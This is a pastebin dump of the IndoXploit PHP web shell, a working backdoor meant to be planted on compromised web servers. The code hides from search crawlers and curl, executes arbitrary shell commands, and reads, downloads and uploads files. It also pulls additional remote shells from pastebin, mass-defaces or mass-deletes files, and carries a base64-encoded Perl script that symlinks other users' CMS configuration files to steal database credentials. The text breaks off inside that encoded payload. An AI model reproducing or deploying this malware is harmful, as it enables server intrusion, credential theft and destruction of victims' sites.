· 5 years ago · Feb 20, 2020, 01:32 PM
1<?php
2session_start();
3error_reporting(0);
4set_time_limit(0);
5@set_magic_quotes_runtime(0);
6@clearstatcache();
7@ini_set('error_log',NULL);
8@ini_set('log_errors',0);
9@ini_set('max_execution_time',0);
10@ini_set('output_buffering',0);
11@ini_set('display_errors', 0);
12
13$password = "0fe3909e9cd1820b0285917245f05017"; # md5: masnurw
14
15$SERVERIP = (!$_SERVER['SERVER_ADDR']) ? gethostbyname($_SERVER['HTTP_HOST']) : $_SERVER['SERVER_ADDR'];
16$FILEPATH = str_replace($_SERVER['DOCUMENT_ROOT'], "", path());
17
18if(!empty($_SERVER['HTTP_USER_AGENT'])) {
19 $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot", "curl");
20 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
21 header('HTTP/1.0 404 Not Found');
22 exit;
23 }
24}
25
26function login_shell() {
27?>
28<!DOCTYPE HTML>
29<html>
30<head>
31<meta name="robots" content"noindex. nofollow">
32<title>IndoXploit</title>
33<style type="text/css">
34html {
35 margin: 20px auto;
36 background: #000000;
37 color: green;
38 text-align: center;
39}
40header {
41 color: green;
42 margin: 10px auto;
43}
44input[type=password] {
45 width: 250px;
46 height: 25px;
47 color: red;
48 background: transparent;
49 border: 1px dotted green;
50 margin-left: 20px;
51 text-align: center;
52}
53</style>
54</head>
55<center>
56<header>
57 <pre>
58 ___________________________
59< root@indoxploit:~# w00t??? >
60 ---------------------------
61 \ , ,
62 \ /( )`
63 \ \ \___ / |
64 /- _ `-/ '
65 (/\/ \ \ /\
66 / / | ` \
67 O O ) / |
68 `-^--'`< '
69 (_.) _ ) /
70 `.___/` /
71 `-----' /
72<----. __ / __ \
73<----|====O)))==) \) /====>
74<----' `--' `.__,' \
75 | |
76 \ /
77 ______( (_ / \______
78 ,' ,-----' | \
79 `--{__________) \/
80 </pre>
81</header>
82<form method="post">
83<input type="password" name="password">
84</form>
85<?php
86exit;
87}
88
89if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
90 if(empty($password) || (isset($_POST['password']) && (md5($_POST['password']) == $password)))
91 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
92 else
93 login_shell();
94
95if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
96 @ob_clean();
97 $file = $_GET['file'];
98 header('Content-Description: File Transfer');
99 header('Content-Type: application/octet-stream');
100 header('Content-Disposition: attachment; filename="'.basename($file).'"');
101 header('Expires: 0');
102 header('Cache-Control: must-revalidate');
103 header('Pragma: public');
104 header('Content-Length: ' . filesize($file));
105 readfile($file);
106 exit;
107}
108
109if(get_magic_quotes_gpc()) {
110 function idx_ss($array) {
111 return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
112 }
113 $_POST = idx_ss($_POST);
114}
115?>
116<!DOCTYPE HTML>
117<html>
118<!--
119###############################################################################
120// Thanks buat Orang-orang yg membantu dalam proses pembuatan shell ini.
121// Shell ini tidak sepenuhnya 100% Coding manual, ada beberapa function dan tools kita ambil dari shell yang sudah ada.
122// Tapi Selebihnya, itu hasil kreasi IndoXploit sendiri.
123// Tanpa kalian kita tidak akan BESAR seperti sekarang.
124// Greetz: All Member IndoXploit. & All My Friends.
125###############################################################################
126// Special Thanks: Depok Cyber Security | Sanjungan Jiwa | 0x1999
127###############################################################################
128-->
129<head>
130<title>IndoXploit</title>
131<meta name='author' content='IndoXploit'>
132<meta charset="UTF-8">
133<style type='text/css'>
134@import url(https://fonts.googleapis.com/css?family=Ubuntu);
135html {
136 background: #000000;
137 color: #ffffff;
138 font-size: 14px;
139 width: 100%;
140}
141
142li {
143 display: inline;
144 margin: 5px;
145 padding: 5px;
146}
147
148a {
149 color: #ffffff;
150 text-decoration: none;
151}
152
153a:hover {
154 color: gold;
155 text-decoration: underline;
156}
157
158b {
159 color: gold;
160}
161
162pre {
163 font-size: 13px;
164}
165
166table, th, td {
167 border-collapse:collapse;
168 background: transparent;
169 font-family: 'Ubuntu';
170 font-size: 13px;
171}
172
173.table_home, .th_home, .td_home {
174 border: 1px solid #ffffff;
175}
176
177.th_home {
178 color: lime;
179}
180
181.td_home, .td_home > a {
182 color: #ffffff;
183}
184
185.td_home > a:hover {
186 color: gold;
187}
188
189th {
190 padding: 10px;
191}
192
193tr:hover {
194 background: #006400;
195 color: #ffffff;
196}
197
198input[type=text], input[type=password], .input {
199 background: transparent;
200 color: #ffffff;
201 border: 1px solid #ffffff;
202 padding: 3px;
203 font-family: 'Ubuntu';
204 font-size: 13px;
205}
206
207input[type=submit] {
208 padding: 2px;}
209
210input[type=submit]:hover {
211 cursor: pointer;
212}
213
214input:focus, textarea:focus {
215 outline: 0;
216 border-color: #ffffff;
217}
218
219textarea {
220 border: 1px solid #ffffff;
221 width: 100%;
222 height: 400px;
223 padding-left: 5px;
224 margin: 10px auto;
225 resize: none;
226 background: transparent;
227 color: #ffffff;
228 font-family: 'Ubuntu';
229 font-size: 13px;
230}
231iframe {
232 width: 100%;
233 min-height: 500px;
234}
235</style>
236</head>
237<body>
238<?php
239function path() {
240 if(isset($_GET['dir'])) {
241 $dir = str_replace("\\", "/", $_GET['dir']);
242 @chdir($dir);
243 } else {
244 $dir = str_replace("\\", "/", getcwd());
245 }
246 return $dir;
247}
248
249function color($bold = 1, $colorid = null, $string = null) {
250 $color = array(
251 "</font>", # 0 off
252 "<font color='red'>", # 1 red
253 "<font color='lime'>", # 2 lime
254 "<font color='white'>", # 3 white
255 "<font color='gold'>", # 4 gold
256 );
257
258 return ($string !== null) ? $color[$colorid].$string.$color[0]: $color[$colorid];
259}
260
261function OS() {
262 return (substr(strtoupper(PHP_OS), 0, 3) === "WIN") ? "Windows" : "Linux";
263}
264
265function exe($cmd) {
266 if(function_exists('system')) {
267 @ob_start();
268 @system($cmd);
269 $buff = @ob_get_contents();
270 @ob_end_clean();
271 return $buff;
272 } elseif(function_exists('exec')) {
273 @exec($cmd,$results);
274 $buff = "";
275 foreach($results as $result) {
276 $buff .= $result;
277 } return $buff;
278 } elseif(function_exists('passthru')) {
279 @ob_start();
280 @passthru($cmd);
281 $buff = @ob_get_contents();
282 @ob_end_clean();
283 return $buff;
284 } elseif(function_exists('shell_exec')) {
285 $buff = @shell_exec($cmd);
286 return $buff;
287 }
288}
289
290function save($filename, $mode, $file) {
291 $handle = fopen($filename, $mode);
292 fwrite($handle, $file);
293 fclose($handle);
294 return;
295}
296
297function getfile($name) {
298 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't spawn $name."));
299 if($name === "adminer") $get = array("https://www.adminer.org/static/download/4.3.1/adminer-4.3.1.php", "adminer.php");
300 elseif($name === "webconsole") $get = array("https://pastebin.com/raw/2i96fDCN", "webconsole.php");
301 elseif($name === "cgitelnet1") $get = array("https://pastebin.com/raw/Lj46KxFT", "idx_cgi/cgitelnet1.idx");
302 elseif($name === "cgitelnet2") $get = array("https://pastebin.com/raw/aKL2QWfS", "idx_cgi/cgitelnet2.idx");
303
304 $fp = fopen($get[1], "w");
305 $ch = curl_init();
306 curl_setopt($ch, CURLOPT_URL, $get[0]);
307 curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
308 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
309 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
310 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
311 curl_setopt($ch, CURLOPT_FILE, $fp);
312 return curl_exec($ch);
313 curl_close($ch);
314 fclose($fp);
315 ob_flush();
316 flush();
317}
318
319function usergroup() {
320 if(!function_exists('posix_getegid')) {
321 $user['name'] = @get_current_user();
322 $user['uid'] = @getmyuid();
323 $user['gid'] = @getmygid();
324 $user['group'] = "?";
325 } else {
326 $user['uid'] = @posix_getpwuid(posix_geteuid());
327 $user['gid'] = @posix_getgrgid(posix_getegid());
328 $user['name'] = $user['uid']['name'];
329 $user['uid'] = $user['uid']['uid'];
330 $user['group'] = $user['gid']['name'];
331 $user['gid'] = $user['gid']['gid'];
332 }
333 return (object) $user;
334}
335
336function getuser() {
337 $fopen = fopen("/etc/passwd", "r") or die(color(1, 1, "Can't read /etc/passwd"));
338 while($read = fgets($fopen)) {
339 preg_match_all('/(.*?):x:/', $read, $getuser);
340 $user[] = $getuser[1][0];
341 }
342 return $user;
343}
344
345function getdomainname() {
346 $fopen = fopen("/etc/named.conf", "r");
347 while($read = fgets($fopen)) {
348 preg_match_all("#/var/named/(.*?).db#", $read, $getdomain);
349 $domain[] = $getdomain[1][0];
350 }
351 return $domain;
352}
353
354function hddsize($size) {
355 if($size >= 1073741824)
356 return sprintf('%1.2f',$size / 1073741824 ).' GB';
357 elseif($size >= 1048576)
358 return sprintf('%1.2f',$size / 1048576 ) .' MB';
359 elseif($size >= 1024)
360 return sprintf('%1.2f',$size / 1024 ) .' KB';
361 else
362 return $size .' B';
363}
364
365function hdd() {
366 $hdd['size'] = hddsize(disk_total_space("/"));
367 $hdd['free'] = hddsize(disk_free_space("/"));
368 $hdd['used'] = $hdd['size'] - $hdd['free'];
369 return (object) $hdd;
370}
371
372function writeable($path, $perms) {
373 return (!is_writable($path)) ? color(1, 1, $perms) : color(1, 2, $perms);
374}
375
376function perms($path) {
377 $perms = fileperms($path);
378 if (($perms & 0xC000) == 0xC000) {
379 // Socket
380 $info = 's';
381 }
382 elseif (($perms & 0xA000) == 0xA000) {
383 // Symbolic Link
384 $info = 'l';
385 }
386 elseif (($perms & 0x8000) == 0x8000) {
387 // Regular
388 $info = '-';
389 }
390 elseif (($perms & 0x6000) == 0x6000) {
391 // Block special
392 $info = 'b';
393 }
394 elseif (($perms & 0x4000) == 0x4000) {
395 // Directory
396 $info = 'd';
397 }
398 elseif (($perms & 0x2000) == 0x2000) {
399 // Character special
400 $info = 'c';
401 }
402 elseif (($perms & 0x1000) == 0x1000) {
403 // FIFO pipe
404 $info = 'p';
405 }
406 else {
407 // Unknown
408 $info = 'u';
409 }
410 // Owner
411 $info .= (($perms & 0x0100) ? 'r' : '-');
412 $info .= (($perms & 0x0080) ? 'w' : '-');
413 $info .= (($perms & 0x0040) ?
414 (($perms & 0x0800) ? 's' : 'x' ) :
415 (($perms & 0x0800) ? 'S' : '-'));
416 // Group
417 $info .= (($perms & 0x0020) ? 'r' : '-');
418 $info .= (($perms & 0x0010) ? 'w' : '-');
419 $info .= (($perms & 0x0008) ?
420 (($perms & 0x0400) ? 's' : 'x' ) :
421 (($perms & 0x0400) ? 'S' : '-'));
422 // World
423 $info .= (($perms & 0x0004) ? 'r' : '-');
424 $info .= (($perms & 0x0002) ? 'w' : '-');
425 $info .= (($perms & 0x0001) ?
426 (($perms & 0x0200) ? 't' : 'x' ) :
427 (($perms & 0x0200) ? 'T' : '-'));
428
429 return $info;
430}
431
432function lib_installed() {
433 $lib[] = "MySQL: ".(function_exists('mysql_connect') ? color(1, 2, "ON") : color(1, 1, "OFF"));
434 $lib[] = "cURL: ".(function_exists('curl_version') ? color(1, 2, "ON") : color(1, 1, "OFF"));
435 $lib[] = "WGET: ".(exe('wget --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
436 $lib[] = "Perl: ".(exe('perl --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
437 $lib[] = "Python: ".(exe('python --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
438 return implode(" | ", $lib);
439}
440
441function pwd() {
442 $dir = explode("/", path());
443 foreach($dir as $key => $index) {
444 print "<a href='?dir=";
445 for($i = 0; $i <= $key; $i++) {
446 print $dir[$i];
447 if($i != $key) {
448 print "/";
449 }
450 }
451 print "'>$index</a>/";
452 }
453 print "<br>";
454 print (OS() === "Windows") ? windisk() : "";
455}
456
457function windisk() {
458 $letters = "";
459 $v = explode("\\", path());
460 $v = $v[0];
461 foreach(range("A", "Z") as $letter) {
462 $bool = $isdiskette = in_array($letter, array("A"));
463 if(!$bool) $bool = is_dir("$letter:\\");
464 if($bool) {
465 $letters .= "[ <a href='?dir=$letter:\\'".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">";
466 if($letter.":" != $v) {
467 $letters .= $letter;
468 }
469 else {
470 $letters .= color(1, 2, $letter);
471 }
472 $letters .= "</a> ]";
473 }
474 }
475 if(!empty($letters)) {
476 print "Detected Drives $letters<br>";
477 }
478 if(count($quicklaunch) > 0) {
479 foreach($quicklaunch as $item) {
480 $v = realpath(path(). "..");
481 if(empty($v)) {
482 $a = explode(DIRECTORY_SEPARATOR,path());
483 unset($a[count($a)-2]);
484 $v = join(DIRECTORY_SEPARATOR, $a);
485 }
486 print "<a href='".$item[1]."'>".$item[0]."</a>";
487 }
488 }
489}
490
491function serverinfo() {
492 $disable_functions = @ini_get('disable_functions');
493 $disable_functions = (!empty($disable_functions)) ? color(1, 1, $disable_functions) : color(1, 2, "NONE");
494
495 $output[] = "SERVER IP ".color(1, 2, $GLOBALS['SERVERIP'])." / YOUR IP ".color(1, 2, $_SERVER['REMOTE_ADDR']);
496 $output[] = "WEB SERVER : ".color(1, 2, $_SERVER['SERVER_SOFTWARE']);
497 $output[] = "SYSTEM : ".color(1, 2, php_uname());
498 $output[] = "USER / GROUP: ".color(1, 2, usergroup()->name)."(".color(1, 2 , usergroup()->uid).") / ".color(1, 2 , usergroup()->group)."(".color(1, 2 , usergroup()->gid).")";
499 $output[] = "HDD : ".color(1, 2, hdd()->used)." / ".color(1, 2 , hdd()->size)." (Free: ".color(1, 2 , hdd()->free).")";
500 $output[] = "PHP VERSION : ".color(1, 2, @phpversion());
501 $output[] = "SAFE MODE : ".(@ini_get(strtoupper("safe_mode")) === "ON" ? color(1, 2, "ON") : color(1, 2, "OFF"));
502 $output[] = "DISABLE FUNC: $disable_functions";
503 $output[] = lib_installed();
504 $output[] = "Current Dir (".writeable(path(), perms(path())).") ";
505
506 print "<pre>";
507 print implode("<br>", $output);
508 pwd();
509 print "</pre>";
510
511}
512
513function curl($url, $post = false, $data = null) {
514 $ch = curl_init($url);
515 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
516 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
517 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
518 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
519 curl_setopt($ch, CURLOPT_TIMEOUT, 10);
520 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
521 if($post) {
522 curl_setopt($ch, CURLOPT_POST, true);
523 curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
524 }
525 $curl['exec'] = curl_exec($ch);
526 $curl['info'] = curl_getinfo($ch);
527
528 return [
529 "info" => $curl['info'],
530 "response" => $curl['exec']
531 ];
532
533 curl_close($ch);
534}
535
536function reverse() {
537 $response = curl("http://domains.yougetsignal.com/domains.php", TRUE, "remoteAddress=".$GLOBALS['SERVERIP']."&ket=")['response'];
538 $response = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $response)))))))))))));
539 $explode = explode(",,", $response);
540 unset($explode[0]);
541
542 foreach($explode as $domain) {
543 $domain = "http://$domain";
544 $domain = str_replace(",", "", $domain);
545 $url[] = $domain;
546 ob_flush();
547 flush();
548 }
549
550 return $url;
551}
552
553function getValue($param, $kata1, $kata2){
554 if(strpos($param, $kata1) === FALSE) return FALSE;
555 if(strpos($param, $kata2) === FALSE) return FALSE;
556 $start = strpos($param, $kata1) + strlen($kata1);
557 $end = strpos($param, $kata2, $start);
558 $return = substr($param, $start, $end - $start);
559 return $return;
560}
561
562function massdeface($dir, $file, $filename, $type = null) {
563 $scandir = scandir($dir);
564 foreach($scandir as $dir_) {
565 $path = "$dir/$dir_";
566 $location = "$path/$filename";
567 if($dir_ === "." || $dir_ === "..") {
568 file_put_contents($location, $file);
569 }
570 else {
571 if(is_dir($path) AND is_writable($path)) {
572 print "[".color(1, 2, "DONE")."] ".color(1, 4, $location)."<br>";
573 file_put_contents($location, $file);
574 if($type === "-alldir") {
575 massdeface($path, $file, $filename, "-alldir");
576 }
577 }
578 }
579 }
580}
581
582function massdelete($dir, $filename) {
583 $scandir = scandir($dir);
584 foreach($scandir as $dir_) {
585 $path = "$dir/$dir_";
586 $location = "$path/$filename";
587 if($dir_ === '.') {
588 if(file_exists("$dir/$filename")) {
589 unlink("$dir/$filename");
590 }
591 }
592 elseif($dir_ === '..') {
593 if(file_exists(dirname($dir)."/$filename")) {
594 unlink(dirname($dir)."/$filename");
595 }
596 }
597 else {
598 if(is_dir($path) AND is_writable($path)) {
599 if(file_exists($location)) {
600 print "[".color(1, 2, "DELETED")."] ".color(1, 4, $location)."<br>";
601 unlink($location);
602 massdelete($path, $filename);
603 }
604 }
605 }
606 }
607}
608
609function tools($toolsname, $args = null) {
610 if($toolsname === "cmd") {
611 print "<form method='post' action='?do=cmd&dir=".path()."' style='margin-top: 15px;'>
612 ".usergroup()->name."@".$GLOBALS['SERVERIP'].": ~ $
613 <input style='border: none; border-bottom: 1px solid #ffffff;' type='text' name='cmd' required>
614 <input style='border: none; border-bottom: 1px solid #ffffff;' class='input' type='submit' value='>>'>
615 </form>";
616 }
617 elseif($toolsname === "readfile") {
618 if(empty($args)) die(color(1, 1, $msg));
619 if(!is_file($args)) die(color(1, 1, "File '$args' is not exists."));
620
621 print "<pre>";
622 print htmlspecialchars(file_get_contents($args));
623 print "</pre>";
624 }
625 elseif($toolsname === "spawn") {
626 if($args === "adminer") {
627 if(file_exists("adminer.php")) {
628 print "Login Adminer: <a href='".$GLOBALS['FILEPATH']."/adminer.php' target='_blank'>http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/adminer.php</a>";
629 }
630 else {
631 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create file 'Adminer'."));
632 if(getfile("adminer")) {
633 print "Login Adminer: <a href='".$GLOBALS['FILEPATH']."/adminer.php' target='_blank'>http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/adminer.php</a>";
634 }
635 else {
636 print color(1, 1, "Error while downloading file Adminer.");
637 @unlink("adminer.php");
638 }
639 }
640 }
641 elseif($args === "webconsole") {
642 if(file_exists("webconsole.php")) {
643 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/webconsole.php' frameborder='0' scrolling='yes'></iframe>";
644 }
645 else {
646 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create file 'WebConsole'."));
647 if(getfile("webconsole")) {
648 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/webconsole.php' frameborder='0' scrolling='yes'></iframe>";
649 }
650 else {
651 print color(1, 1, "Error while downloading file WebConsole.");
652 @unlink("webconsole.php");
653 }
654 }
655 }
656 elseif($args === "cgitelnet1") {
657 if(file_exists("idx_cgi/cgitelnet1.idx")) {
658 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_cgi/cgitelnet1.idx' frameborder='0' scrolling='yes'></iframe>";
659 }
660 elseif(file_exists('cgitelnet1.idx')) {
661 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/cgitelnet1.idx' frameborder='0' scrolling='yes'></iframe>";
662 }
663 else {
664 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create directory 'idx_cgi'."));
665 if(!is_dir(path()."/idx_cgi/")) {
666 @mkdir('idx_cgi', 0755);
667 save("idx_cgi/.htaccess", "w", "AddHandler cgi-script .idx");
668 }
669 if(getfile("cgitelnet1")) {
670 chmod('idx_cgi/cgitelnet1.idx', 0755);
671 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_cgi/cgitelnet1.idx' frameborder='0' scrolling='yes'></iframe>";
672 }
673 else {
674 print color(1, 1, "Error while downloading file CGI Telnet.");
675 @rmdir(path()."/idx_cgi/");
676 if(!@rmdir(path()."/idx_cgi/") AND OS() === "Linux") @exe("rm -rf ".path()."/idx_cgi/");
677 if(!@rmdir(path()."/idx_cgi/") AND OS() === "Windows") @exe("rmdir /s /q ".path()."/idx_cgi/");
678 }
679 }
680
681 }
682 elseif($args === "cgitelnet2") {
683 if(file_exists("idx_cgi/cgitelnet2.idx")) {
684 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_cgi/cgitelnet2.idx' frameborder='0' scrolling='yes'></iframe>";
685 }
686 elseif(file_exists('cgitelnet2.idx')) {
687 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/cgitelnet2.idx' frameborder='0' scrolling='no'></iframe>";
688 }
689 else {
690 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create directory 'idx_cgi'."));
691 if(!is_dir(path()."/idx_cgi/")) {
692 @mkdir('idx_cgi', 0755);
693 save("idx_cgi/.htaccess", "w", "AddHandler cgi-script .idx");
694 }
695 if(getfile("cgitelnet2")) {
696 chmod('idx_cgi/cgitelnet2.idx', 0755);
697 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_cgi/cgitelnet2.idx' frameborder='0' scrolling='yes'></iframe>";
698 }
699 else {
700 print color(1, 1, "Error while downloading file CGI Telnet.");
701 @rmdir(path()."/idx_cgi/");
702 if(!@rmdir(path()."/idx_cgi/") AND OS() === "Linux") @exe("rm -rf ".path()."/idx_cgi/");
703 if(!@rmdir(path()."/idx_cgi/") AND OS() === "Windows") @exe("rmdir /s /q ".path()."/idx_cgi/");
704 }
705 }
706
707 }
708 elseif($args === "phpinfo") {
709 if(file_exists('phpinfo.php') AND preg_match("/phpinfo()/", file_get_contents('phpinfo.php'))) {
710 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/phpinfo.php' frameborder='0' scrolling='yes'></iframe>";
711 }
712 else {
713 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create file 'phpinfo'."));
714 save("phpinfo.php", "w", "<?php print '<html><style>html,body {background: #000000;}</style><div style=\'background: #000000; color: #cccccc;\'>'; phpinfo(); print '</div></html>'; ?>");
715 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/phpinfo.php' frameborder='0' scrolling='yes'></iframe>";
716 }
717 }
718 }
719 elseif($toolsname === "upload") {
720 if($_POST['upload']) {
721 if($_POST['uploadtype'] === '1') {
722 if(@copy($_FILES['file']['tmp_name'], path().DIRECTORY_SEPARATOR.$_FILES['file']['name']."")) {
723 $act = color(1, 2, "Uploaded!")." at <i><b>".path().DIRECTORY_SEPARATOR.$_FILES['file']['name']."</b></i>";
724 }
725 else {
726 $act = color(1, 1, "Failed to upload file!");
727 }
728 }
729 elseif($_POST['uploadtype'] === '2') {
730 $root = $_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR.$_FILES['file']['name'];
731 $web = $_SERVER['HTTP_HOST'].DIRECTORY_SEPARATOR.$_FILES['file']['name'];
732 if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
733 if(@copy($_FILES['file']['tmp_name'], $root)) {
734 $act = color(1, 2, "Uploaded!")." at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
735 }
736 else {
737 $act = color(1, 1, "Failed to upload file!");
738 }
739 }
740 else {
741 $act = color(1, 1, "Failed to upload file!");
742 }
743 }
744 }
745 print "Upload File: $act
746 <form method='post' enctype='multipart/form-data'>
747 <input type='radio' name='uploadtype' value='1' checked>current_dir [ ".writeable(path(), "Writeable")." ]
748 <input type='radio' name='uploadtype' value='2'>document_root [ ".writeable($_SERVER['DOCUMENT_ROOT'], "Writeable")." ]<br>
749 <input type='file' name='file'>
750 <input type='submit' value='upload' name='upload'>
751 </form>";
752 }
753 elseif($toolsname === "symlink") {
754 $args = explode(" ", $args);
755
756 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create directory 'idx_sym'."));
757 if(empty($args[0])) {
758 if(!is_dir(path()."/idx_sym/")) {
759 $sym['code'] = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQoNCiMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgDQojICAgICAgICAgQ3JlYXRlZCA6IDEyIEZlYiAyMDE3DQojICAgICAgICAgQXV0aG9yIDogMHgxOTk5DQojICAgICAgICAgTW9yZSBJbmZvIDogaHR0cDovLzB4ZGFyay5ibG9nc3BvdC5jb20NCiMgICAgICAgICBXYW50IHRvIHJlY29kZSA/IERvbid0IGZvcmdldCBmaXJzdCBhdXRob3INCiMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMNCg0KIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyANCiMgICAgICAgICBSZWNvZGVkIEJ5IDogTDBjNGxoMzRydHogLSBJbmRvWHBsb2l0DQojICAgICAgICAgTW9yZSBJbmZvIDogaHR0cDovL2luZG94cGxvaXQub3IuaWQNCiMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMNCg0KDQp1c2UgRmlsZTo6Q29weTsNCmNvcHkoIi9ldGMvcGFzc3dkIiwicGFzc3dkLnR4dCIpIDsNCm9wZW5kaXIgbXkgJGRpciwgIi92YXIvbWFpbCI7DQpteSBAZmlsZXMgPSByZWFkZGlyICRkaXI7DQpjbG9zZWRpciAkZGlyOw0KcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQp1c2Ugc3RyaWN0Ow0KdXNlIHdhcm5pbmdzOw0KbWtkaXIgImlkeF9zeW0iOw0KcHJpbnQgQGZpbGVzLiI8YnI+IjsNCm15ICRmaWxlbmFtZSA9ICdwYXNzd2QudHh0JzsNCm9wZW4obXkgJGZoLCAnPDplbmNvZGluZyhVVEYtOCknLCAkZmlsZW5hbWUpOw0Kd2hpbGUgKG15ICRyb3cgPSA8JGZoPikgew0KCWNob21wICRyb3c7DQoJbXkgQG1hdGNoZXMgPSAkcm93ID1+IC8oLio/KTp4Oi9nOw0KDQoJc3ltbGluaygiL2V0Yy9wYXNzd2QiLCJpZHhfc3ltL3Bhcy50eHQiKTsNCg0KCWlmICgtZCAiL2hvbWUiLiQxLiIvcHVibGljX2h0bWwvIikgeyANCgkJc3ltbGluaygiL2hvbWUvIi4kMS4iLy5hY2Nlc3NoYXNoIiwiaWR4X3N5bS8iLiQxLiItV0hNLWFjY2Vzc2hhc2gudHh0Iik7DQoJCXN5bWxpbmsoIi9ob21lLyIuJDEuIi9wdWJsaWNfaHRtbC9jb25maWcva29uZWtzaS5waHAiLCJpZHhfc3ltLyIuJDEuIi1Mb2tvbWVkaWEudHh0Iik7DQoJCXN5bWxpbmsoIi9ob21lLyIuJDEuIi9wdWJsaWNfaHRtbC9mb3J1bS9jb25maWcucGhwIiwiaWR4X3N5bS8iLiQxLiItcGhwQkIudHh0Iik7DQoJCXN5bWxpbmsoIi9ob21lLyIuJDEuIi9wdWJsaWNfaHRtbC9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCIsImlkeF9zeW0vIi4kMS4iLURydXBhbC50eHQiKTsNCgkJc3ltbGluaygiL2hvbWUvIi4kMS4iL3B1YmxpY19odG1sL2NvbmZpZy9zZXR0aW5ncy5pbmMucGhwIiwiaWR4X3N5bS8iLiQxLiItUHJlc3RhU2hvcC50eHQiKTsNCgkJc3ltbGluaygiL2hvbWUvIi4kMS4iL3B1YmxpY19odG1sL2FwcC9ldGMvbG9jYWwueG1sIiwiaWR4X3N5bS8iLiQxLiItTWFnZW50by50eHQiKTsNCgkJc3ltbGluaygiL2hvbWUvIi4kMS4iL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAiLCJpZHhfc3ltLyIuJDEuIi1PcGVuQ2FydC50eHQiKTsNCgkJc3ltbGluaygiL2hvbWUvIi4kMS4iL3B1YmxpY19odG1sL2FwcGxpY2F0aW9uL2NvbmZpZy9kYXRhYmFzZS5waHAiLCJpZHhfc3ltLyIuJDEuIi1FbGxpc2xhYi50eHQiKTsNCgkJc3ltbGluaygiL2hvbWUvIi4kMS4iL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAiLCJpZHhfc3ltLyIuJDEuIi1WYnVsbGV0aW4udHh0Iik7DQoJCXN5bWxpbmsoIi9ob21lLyIuJDEuIi9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwIiwiaWR4X3N5bS8iLiQxLiItVmJ1bGxldGluLnR4dCIpOw0KCQlzeW1saW